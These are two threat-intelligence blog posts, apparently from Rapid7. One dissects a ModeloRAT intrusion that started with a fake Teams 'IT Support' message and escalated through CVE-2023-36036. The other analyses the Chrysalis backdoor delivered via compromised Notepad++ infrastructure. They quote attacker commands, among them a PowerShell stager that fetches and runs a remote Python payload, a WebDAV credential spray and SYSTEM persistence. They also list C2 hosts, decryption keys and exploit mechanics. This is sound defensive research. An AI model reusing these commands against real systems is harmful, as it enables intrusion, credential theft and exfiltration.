Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

• collector.py (reconnaissance)

• Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator’s C2 server uses to identify this victim.

The script gathered the following information:

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying  back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive’s “Files On-Demand” work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as “PLURIBUS” with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls:  NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

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When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread’s token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

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Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py:  HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py:  Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker’s tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn’t

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn’t the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn’t have, though, was the user’s domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can’t access user-specific resources, such as file shares requiring the user’s permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

• ModeloRAT pivoted from browser extensions to Teams social engineering.
• Portable Python environments bypass traditional EDR signatures.
• CVE-2023-36036 remains effective despite patch availability.
• Fake lock screens can harvest credentials even with SYSTEM access.
• WebDAV API abuse provides stealthy credential validation.

It took two days to go from “Hi, this is IT support” to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is  how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

Post Syndicated from Ivan Feigl original https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit

Rapid7 Labs, together with the Rapid7 MDR team, has uncovered a sophisticated campaign attributed to the Chinese APT group Lotus Blossom. Active since 2009, the group is known for its targeted espionage campaigns primarily impacting organizations across Southeast Asia and more recently Central America, focusing on government, telecom, aviation, critical infrastructure, and media sectors.

Our investigation identified a security incident stemming from a sophisticated compromise of the infrastructure hosting Notepad++, which was subsequently used to deliver a previously undocumented custom backdoor, which we have dubbed Chrysalis.

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Beyond the discovery of the new implant, forensic evidence led us to uncover several custom loaders in the wild. One sample, “ConsoleApplication2.exe”, stands out for its use of Microsoft Warbird, a complex code protection framework, to hide shellcode execution. This blog provides a deep technical analysis of Chrysalis, the Warbird loader, and the broader tactic of mixing straightforward loaders with obscure, undocumented system calls.

Initial access vector

Forensic analysis conducted by the MDR team suggests that the initial access vector aligns with publicly disclosed abuse of the Notepad++ distribution infrastructure. While reporting references both plugin replacement and updater-related mechanisms, no definitive artifacts were identified to confirm exploitation of either. The only confirmed behavior is that execution of “notepad++.exe”  and subsequently “GUP.exe” preceded the execution of a suspicious process “update.exe” which was downloaded from 95.179.213.0.

Analysis of update.exe

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Analysis of “update.exe” shows the file is actually an NSIS installer, a tool commonly used  by Chinese APT to deliver initial payload.

The following (Table 1) are the extracted NSIS installer files:

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Installation script is instructed to create a new directory “Bluetooth” in “%AppData%” folder, copy the remaining files there, change the attribute of the directory to HIDDEN and execute BluetoothService.exe.

DLL sideloading

Shortly after the execution of BluetoothService.exe which is actually a renamed legitimate Bitdefender Submission Wizard that was abused for DLL sideloading, where a malicious log.dll was placed alongside the executable, causing it to be loaded instead of the legitimate library. Two exported functions from log.dll are called by Bitdefender Submission Wizard: LogInit and LogWrite.

LogInit and LogWrite – Shellcode load, decrypt, execute

LogInit  just loads BluetoothService into the memory of the running process.

LogWrite has a more sophisticated goal – to decrypt and execute the shellcode.

The decryption routine implements a custom runtime decryption mechanism used to unpack encrypted data in memory. It derives key material from previously calculated hash value and applies a stream‑cipher–like algorithm rather than standard cryptographic APIs. At a high level, the decryption routine relies on a linear congruential generator, with the standard constants 0x19660D and 0x3C6EF35F, combined with several basic data transformation steps to recover the plaintext payload.

Once decrypted, the payload replaces the original buffer and all temporary memory is released. Execution is then transferred to this newly decrypted stage, which is treated as executable code and invoked with a predefined set of arguments, including runtime context and resolved API information.

IAT resolution

Log.dll implements an API hashing subroutine to resolve required APIs during execution, reducing the likelihood of detection by antivirus and other security solutions.

API hashing subroutine

The hashing algorithm will hash export names using FNV‑1a (fnv-1a hash 0x811C9DC5, fnv-1a prime 0x1000193 observed), then apply a MurmurHash‑style avalanche finalizer (murmur constant 0x85EBCA6B observed), and comparing the result to a salted target hash.

Analysis of the Chrysalis backdoor

The shellcode, once decrypted by log.dll, is a custom, feature-rich backdoor we’ve named “Chrysalis”. Its wide array of capabilities indicates it is a sophisticated and permanent tool, not a simple throwaway utility. It uses legitimate binaries to sideload a crafted DLL with a generic name, which makes simple filename-based detection unreliable. It relies on custom API hashing in both the loader and the main module, each with its own resolution logic. This is paired with layered obfuscation and a fairly structured approach to C2 communication. Overall, the sample looks like something that has been actively developed over time, and we’ll be keeping an eye on this family and any future variants that show up.

Decryption of the main module

Once the execution is passed to decrypted shellcode from log.dll, malware starts with decryption of the main module via a simple combination of XOR, addition and subtraction operations, with a hardcoded key gQ2JR&9;. See below the pseudocode of decryption routine:

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char XORKey[8] = "gQ2JR&9;";
DWORD counter = 0;
DWORD pos = BufferPosition;

while (counter < size) {
    BYTE k = XORKey[counter & 7];
    BYTE x = encrypted[pos];

    x = x + k;
    x = x ^ k;
    x = x - k;

    decrypted[pos] = x;

    pos++;
    counter++;
}

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XOR operation is performed 5 times in total, suggesting a section layout similar to PE format. Following the decryption, malware will proceed to yet another dynamic IAT resolution using LoadLibraryA to acquire a handle to Kernel32.dll and GetProcAddress. Once exports are resolved, the jump is taken to the main module.

Main module

The decrypted module is a reflective PE-like module that executes the MSVC CRT initialization sequence before transferring control to the program’s main entry point. Once in the Main function, the malware will dynamically load DLLs in the following order : oleaut32.dll, advapi32.dll,  shlwapi.dll, user32.dll, wininet.dll, ole32.dll and shell32.dll.

Names of targeted DLLs are constructed on the run, using two separate subroutines. These two subroutines implement a custom, position-dependent character obfuscation scheme. Each character is transformed using a combination of bit rotations, conditional XOR operations, and index-based arithmetic, ensuring that identical characters encrypt differently depending on their position. The second routine reverses this process at runtime, reconstructing the original plaintext string just before it is used. The purpose of these two functions is not only to conceal strings, but also to intentionally complicate static analysis and hinder signature-based detection.

After the DLL name is reconstructed, the Main module implements another, more sophisticated API hashing routine.

API hashing subroutine

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The first difference between this and the API hashing routine used by the loader is that this subroutine accepts only a single argument: the hash of the target API. To obtain the DLL handle, the malware walks the PEB to reach the InMemoryOrderModuleList, then parses each module’s export table, skipping the main executable, until it resolves the desired API. Instead of relying on common hashing algorithms, the routine employs multi-stage arithmetic mixing with constants of MurmurHash-style finalization. API names are processed in 4-byte blocks using multiple rotation and multiplication steps, followed by a final diffusion phase before comparison with the supplied hash. This design significantly complicates static recovery of resolved APIs and reduces the effectiveness of traditional signature-based detection. As a fallback, the resolver supports direct resolution via GetProcAddress if the target hash is not found through the hashing method. The pointer to GetProcAddress is obtained earlier during the “main module preparation” stage.

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Config decryption

The next step in the malware’s execution is to decrypt the configuration. Encrypted configuration is stored in the BluetoothService file at offset 0x30808 with the size of 0x980. Algorithm for the decryption is RC4 with the key qwhvb^435h&*7. This revealed the following information:

• Command and Control (C2) url: https://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
• Name of the module: BluetoothService
• User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.4044.92 Safari/537.36

Decrypted configuration doesn’t give much useful information besides the C2. The name of the module is too generic and the user agent belongs to Google Chrome browser. The URL resolves to 61.4.102.97, IP address based in Malaysia. At the time of the writing of this blog, no other file has been seen to communicate with this IP and URL.

Persistence and Command-Line Arguments

To determine the next course of action, malware checks command line arguments highlighted in Table 1 and chooses one of four potential paths – if the amount of the command-line arguments is greater than two, the process will exit. If there is no additional argument, persistence is set up primarily via service creation or registry as a fall back mechanism.

See Table 2 below:

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With the expected arguments present, the malware proceeds to its primary functionality – to gather information about the infected asset and initiate the communication with C2.

Information gathering and C2 communication

A mutex Global\\Jdhfv_1.0.1 is registered to enforce single instance execution on the host. If it already exists, malware is terminated. If the check is clear, information gathering begins by querying for the following : current time, installed AVs, OS version, user name and computer name. Next, computer name, user name, OS version and string 1.01 are concatenated and the data are hashed using FNV-1A. This value is later turned into its decimal ascii representation and used most likely as a unique identifier of the infected host. 

Final buffer uses a dot as delimiter and follows this pattern: 

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<UniqueID>.<ComputerName>.<UserName>.<OSVersion>.<127.0.0.1>.<AVs>.<DateAndTime>

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The last piece of information added to the beginning of the buffer is a string 4Q. The buffer is then RC4 encrypted with the key vAuig34%^325hGV.

Following data encryption, the malware establishes an internet connection using previously mentioned user agent and C2 api.skycloudcenter.com over port 443. Data is then transferred via HttpSendRequestA using the POST method. Response from the server is then read to a temporary buffer which is later decrypted using the same key vAuig34%^325hGV.

Response and command processing

Note: C2  server was already offline during the initial analysis, preventing recovery of any network data. As a result, and due to the complexity of the malware, parts of the following analysis may contain minor inaccuracies.

The response from the C2 undergoes multiple checks before further processing. First, the HTTP response code is compared against the hardcoded value 200 (0xC8), indicating a successful request, followed by a validation of the associated WinInet handle to ensure no error occurred. The malware then verifies the integrity of the received payload and execution proceeds only if at least one valid structure is detected. Next, malware looks into the response data for a small tag to determine what to do next. Tag is used as a condition for a switch statement with 16 possible cases. The default case will simply set up a flag to TRUE. Setting up this flag will result in completely jumping out of the switch. Other switch cases includes following options:

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4T – The malware implements a fully interactive cmd.exe reverse shell using redirected pipes. Incoming commands from the C2 are converted from UTF‑8 to the system OEM code page before being written to the shell’s standard input, while a dedicated thread continuously reads shell output, converts it from OEM encoding to UTF‑8 using GetOEMCP API, and forwards the result back to the C2.

4V – This option allows remote process execution by invoking CreateProcessW on a C2-supplied command line and relaying execution status back to the C2.

4W – This option implements a remote file write capability, parsing a structured response containing a destination path and file contents, converting encodings as necessary, writing the data to disk, and returning a formatted status message to the command-and-control server.

4X – Similar to the previous switch, it supports a remote file-write capability, allowing the C2 to drop arbitrary files on the victim system by supplying a UTF-8 filename and associated data blob.

4Y – Switch implements a remote file-read capability. It opens a specified file with, retrieves its size, reads the entire contents into memory, and transmits the data back to the C2. 

4\\ – The option implements a full self-removal mechanism. It deletes auxiliary payload files, removes persistence artifacts from both the Windows Service registry hive and the Run key, generates and executes a temporary batch file u.bat to delete the running executable after termination, and finally removes the batch script itself. 

4_ – Here malware enumerates information about logical drivers using GetLogicalDriveStringsA and GetDriveTypeA APIs and sends the information back to the C2.

4` – This switch option shares similarities with previously analyzed data exfiltration function – 4Y. However, its primary purpose differs. Instead of transmitting preexisting data, it enumerates files within a specified directory, collects per-file metadata (timestamps, size, and filename), serializes the results into a custom buffer format, and sends the aggregated listing to the C2.

4a – 4b – 4c – 4d – In the last 4 cases, malware implements a custom file transfer protocol over its C2 channel. Commands 4a and 4b act as control messages used to initialize file download and upload operations respectively, including file paths, offsets, and size validation. Once initialized, the actual data transfer occurs in a chunked fashion using commands 4c (download) and 4d (upload). Each chunk is wrapped in a fixed-size 40-byte response structure, validated for successful HTTP status and correct structure count before processing. Transfers continue until the C2 signals completion via a non-zero termination flag, at which point file handles and buffers are released.

Additional artifacts discovered on the infected host

During the initial forensics analysis of the affected asset, Rapid7’s MDR team observed execution of following command:

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C:\ProgramData\USOShared\svchost.exe-nostdlib -run
C:\ProgramData\USOShared\conf.c

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The retrieved folder “USOShared” from the infected asset didn’t contain svchost.exe but it contained “libtcc.dll” and “conf.c”. The hash of the binary didn’t match any known legitimate version but the command line arguments and associated “libtcc.dll” suggested that svchost.exe is in fact renamed Tiny-C-Compiler. To confirm this, we replicated the steps of the attacker successfully loaded shellcode from “conf.c” into the memory of “tcc.exe”, confirming our previous hypothesis.   

Analysis of conf.c

The C source file contains a fixed size (836) char buffer containing shellcode bytes which is later casted to a function pointer and invoked. The shellcode is consistent with 32-bit version of Metasploit’s block API.

The shellcode loads Wininet.dll using LoadLibraryA, resolves Internet-related APIs such as InternetConnectA and HttpSendRequestA, and downloads a file from api.wiresguard.com/users/admin. The file is read into a newly allocated and execution is then transferred to the start of the 2000-byte second-stage shellcode. 

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This stub is responsible for decrypting the next payload layer and transferring execution to it. It uses a rolling XOR-based decryption loop before jumping directly to the decrypted code.

A quick look into the decrypted buffer revealed an interesting blob with a repeated string CRAZY, hinting additional XORed layer, later confirmed by a quick test.  

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Parsing of the decrypted configuration data confirms that retrieved shellcode is Cobalt Strike (CS) HTTPS beacon with http-get api.wiresguard.com/update/v1 and http-post api.wiresguard.com/api/FileUpload/submit urls.

Analysis of the initial evidence revealed a consistent execution chain: a loader embedding Metasploit block_api shellcode that downloads a Cobalt Strike beacon. The unique decryption stub and configuration XOR key CRAZY allowed us to pivot into an external hunt, uncovering additional loader variants.

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Variation of loaders and shellcode

In the last year, four similar files were uploaded to public repositories.

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